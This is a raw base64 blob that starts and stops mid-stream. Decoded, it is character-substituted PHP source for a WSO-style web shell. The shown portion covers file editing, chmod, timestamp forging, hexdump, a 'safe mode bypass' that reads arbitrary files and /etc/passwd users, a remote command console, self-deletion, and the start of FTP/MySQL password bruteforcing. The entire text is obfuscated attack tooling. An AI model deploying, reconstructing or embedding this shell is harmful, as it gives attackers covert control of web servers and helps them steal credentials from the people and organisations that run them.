GMxczUgJ3Y0NXcnOiANCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2Pic7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkgDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7IA0KICAgICAgICAgICAgICAgIEBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPC9wcjU+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ2g0Z2hsNGdodCc6IA0KICAgICAgICAgICAgNGYoIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pICkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7IA0KICAgICAgICAgICAgICAgICRjMmQ1ID0gQGg0Z2hsNGdodF9mNGw1KCRfUE9TVFsncDYnXSx0cjM1KTsgDQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgxcnIxeSgnPHNwMW4gJywnPC9zcDFuPicpLCAxcnIxeSgnPGYybnQgJywnPC9mMm50PicpLCRjMmQ1KS4nPC9kNHY+JzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdjaG0yZCc6IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkcDVybXMgPSAwOyANCiAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRfUE9TVFsncG8nXSktNjskND49MDstLSQ0KSANCiAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsgDQogICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgczV0IHA1cm00c3M0Mm5zITxicj48c2NyNHB0PmQyYzNtNW50Lm1mLnBvLnYxbDM1PSIiOzwvc2NyNHB0Pic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7IA0KICAgICAgICAgICAgNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLmNobTJkLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y2htMmQgdjFsMzU9IicuczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRfUE9TVFsncDYnXSkpLC11KS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJzVkNHQnOiANCiAgICAgICAgICAgIDRmKCAhNHNfd3I0dDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgICAgICA1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwbyddID0gczNic3RyKCRfUE9TVFsncG8nXSw2KTsgDQogICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOyANCiAgICAgICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgICAgIEBmd3I0dDUoJGZwLCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgICAgICAgICA1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsgDQogICAgICAgICAgICAgICAgICAgIEB0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOyANCiAgICAgICAgICAgIDRmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aDRsNSggIUBmNTJmKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsgDQogICAgICAgICAgICAgICAgQGZjbDJzNSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSAnaDV4ZDNtcCc6IA0KICAgICAgICAgICAgJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsgDQogICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7IA0KICAgICAgICAgICAgJGw1biA9IHN0cmw1bigkYyk7IA0KICAgICAgICAgICAgZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7IA0KICAgICAgICAgICAgICAgICRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7IA0KICAgICAgICAgICAgICAgIHN3NHRjaCAoIDJyZCgkY1skNF0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7IA0KICAgICAgICAgICAgICAgICAgICBjMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOyANCiAgICAgICAgICAgICAgICAgICAgYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsgDQogICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJG4rKzsgDQogICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgICAgICAgICA0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fSANCiAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgJGhbYV0gLj0gIlxuIjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICA1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1ICdyNW4xbTUnOiANCiAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsgDQogICAgICAgICAgICAgICAgNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAnQzFuXCd0IHI1bjFtNSE8YnI+JzsgDQogICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICBkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLm4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1uMW01IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKS4nIj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgJ3QyM2NoJzogDQogICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7IA0KICAgICAgICAgICAgICAgIDRmKCR0NG01KSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZighdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KSkgDQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdGMTRsISc7IA0KICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdUMjNjaDVkISc7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSA1Y2gyICdCMWQgdDRtNSBmMnJtMXQhJzsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgY2w1MXJzdDF0YzFjaDUoKTsgDQogICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5TMWY1TTJkNSgpIHsgDQogICAgJHQ1bXA9Jyc7IA0KICAgIDJiX3N0MXJ0KCk7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsgDQogICAgICAgIGMxczUgNjogDQogICAgICAgICAgICAkdDVtcD1AdDVtcG4xbSgkdDVzdCwgJ2N4Jyk7IA0KICAgICAgICAgICAgNGYoQGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsncGEnXSwgJHQ1bXApKXsgDQogICAgICAgICAgICAgICAgNWNoMiBAZjRsNV9nNXRfYzJudDVudHMoJHQ1bXApOyANCiAgICAgICAgICAgICAgICAzbmw0bmsoJHQ1bXApOyANCiAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgIDVjaDIgJ1MycnJ5Li4uIEMxblwndCAycDVuIGY0bDUnOyANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgYzFzNSBhOiANCiAgICAgICAgICAgICRmNGw1cyA9IGdsMmIoJF9QT1NUWydwYSddLicqJyk7IA0KICAgICAgICAgICAgNGYoIDRzXzFycjF5KCRmNGw1cykgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSANCiAgICAgICAgICAgICAgICAgICAgNWNoMiAkZjRsNW4xbTUuIlxuIjsgDQogICAgICAgICAgICBicjUxazsgDQogICAgICAgIGMxczUgbzogDQogICAgICAgICAgICAkY2ggPSBjM3JsXzRuNHQoImY0bDU6Ly8iLiRfUE9TVFsncGEnXS4iXHgwMCIucHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7IA0KICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IHU6IA0KICAgICAgICAgICAgNG40X3I1c3QycjUoInMxZjVfbTJkNSIpOyANCiAgICAgICAgICAgIDRuNF9yNXN0MnI1KCIycDVuX2IxczVkNHIiKTsgDQogICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7IA0KICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICBjMXM1IGk6IA0KICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7IA0KICAgICAgICAgICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoJF9QT1NUWydwYSddKTsgDQogICAgICAgICAgICAgICAgNGYgKCQzNGQpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGJyNTFrOyANCiAgICB9IA0KICAgICR0NW1wID0gMmJfZzV0X2NsNTFuKCk7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzFmNSBtMmQ1IGJ5cDFzczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7IA0KICAgIDVjaDIgJzxzcDFuPkMycHkgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiNiIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkdsMmIgKGw0c3QgZDRyKTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJhIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+QzNybCAocjUxZCBmNGw1KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKHI1MWQgZjRsNSk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwidSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPlAyczR4X2c1dHB3MzRkICgiUjUxZCIgLzV0Yy9wMXNzd2QpPC9zcDFuPjx0MWJsNT48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJpIix0aDRzLnAxcjFtNi52MWwzNSx0aDRzLnAxcjFtYS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjx0cj48dGQ+RnIybTwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbTYgdjFsMzU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UMjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsgDQogICAgNGYoJHQ1bXApIA0KICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPSJtbDYiIHN0eWw1PSJtMXJnNG4tdDJwOmlweCIgNGQ9Ik8zdHAzdCI+Jy5odG1sc3A1YzQxbGNoMXJzKCR0NW1wKS4nPC9wcjU+JzsgDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5DMm5zMmw1KCkgeyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1OyANCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7IA0KICAgIH0gNWxzNTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsgDQogIA0KICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgeyANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1OyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIDVjaDIgImQuY2YuY21kLnYxbDM1PScnO1xuIjsgDQogICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7IA0KICAgICAgICA0ZihwcjVnX20xdGNoKCIhLipjZFxzKyhbXjtdKykkISIsJF9QT1NUWydwNiddLCRtMXRjaCkpIHsgDQogICAgICAgICAgICA0ZihAY2hkNHIoJG0xdGNoWzZdKSkgeyANCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7IA0KICAgICAgICAgICAgICAgIDVjaDIgImNfPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgIDVjaDIgImQuY2YuMjN0cDN0LnYxbDM1Kz0nIi4kdDVtcC4iJzsiOyANCiAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7IA0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIjxzY3I0cHQ+IA0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsgDQp2MXIgY21kcyA9IG41dyBBcnIxeSgnJyk7IA0KdjFyIGMzciA9IDA7IA0KZjNuY3Q0Mm4ga3AoNSkgeyANCiAgICB2MXIgbiA9ICh3NG5kMncuRXY1bnQpID8gNS53aDRjaCA6IDUuazV5QzJkNTsgDQogICAgNGYobiA9PSBvOCkgeyANCiAgICAgICAgYzNyLS07IA0KICAgICAgICA0ZihjM3I+PTApIA0KICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgYzNyKys7IA0KICAgIH0gNWxzNSA0ZihuID09IHUwKSB7IA0KICAgICAgICBjM3IrKzsgDQogICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKSANCiAgICAgICAgICAgIGQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIGMzci0tOyANCiAgICB9IA0KfSANCmYzbmN0NDJuIDFkZChjbWQpIHsgDQogICAgY21kcy5wMnAoKTsgDQogICAgY21kcy5wM3NoKGNtZCk7IA0KICAgIGNtZHMucDNzaCgnJyk7IA0KICAgIGMzciA9IGNtZHMubDVuZ3RoLTY7IA0KfSANCiAgDQo8L3NjcjRwdD4iOyANCiAgICA1Y2gyICc8aDY+QzJuczJsNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9Y2YgMm5zM2JtNHQ9IjRmKGQuY2YuY21kLnYxbDM1PT1cJ2NsNTFyXCcpe2QuY2YuMjN0cDN0LnYxbDM1PVwnXCc7ZC5jZi5jbWQudjFsMzU9XCdcJztyNXQzcm4gZjFsczU7fTFkZCh0aDRzLmNtZC52MWwzNSk7NGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuY21kLnYxbDM1LHRoNHMuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30gcjV0M3JuIGYxbHM1OyI+PHM1bDVjdCBuMW01PTFsNDFzPic7IA0KICAgIGYycjUxY2goJEdMT0JBTFNbJzFsNDFzNXMnXSAxcyAkbiA9PiAkdikgeyANCiAgICAgICAgNGYoJHYgPT0gJycpIHsgDQogICAgICAgICAgICA1Y2gyICc8MnB0Z3IyM3AgbDFiNWw9Ii0nLmh0bWxzcDVjNDFsY2gxcnMoJG4pLictIj48LzJwdGdyMjNwPic7IA0KICAgICAgICAgICAgYzJudDRuMzU7IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICc8MnB0NDJuIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiciPicuJG4uJzwvMnB0NDJuPic7IA0KICAgIH0gDQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7IA0KICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiBzNW5kIDNzNG5nIEFKQVggPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zaDJ3XzVycjJycyB2MWwzNT02ICcuKCE1bXB0eSgkX1BPU1RbJ3BhJ10pfHwkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7IA0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi53czJFeCgkX1BPU1RbJ3A2J10pKTsgDQogICAgfSANCiAgICA1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7IA0KICAgIDVjaDIgJzwvZjJybT48L2Q0dj48c2NyNHB0PmQuY2YuY21kLmYyYzNzKCk7PC9zY3I0cHQ+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7IA0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOyANCiAgICBkNDUoJ2J5NSEnKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7IA0KICANCiAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpIA0KICAgICAgICA0ZihAM25sNG5rKHByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKSANCiAgICAgICAgICAgIGQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOyANCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgNWNoMiAnM25sNG5rIDVycjJyISc7IA0KICAgIDRmKCRfUE9TVFsncDYnXSAhPSAneTVzJykgDQogICAgICAgIHdzMkg1MWQ1cigpOyANCiAgICA1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgeyANCiAgICAgICAgNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOyANCiAgICAgICAgNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsgDQogICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsgDQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOyANCiAgICAgICAgICAgICAgICA0ZighJGZwKSByNXQzcm4gZjFsczU7IA0KICAgICAgICAgICAgICAgICRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7IA0KICAgICAgICAgICAgICAgIEBmdHBfY2wyczUoJGZwKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgeyANCiAgICAgICAgICAgICAgICAkcjVzID0gQG15c3Fs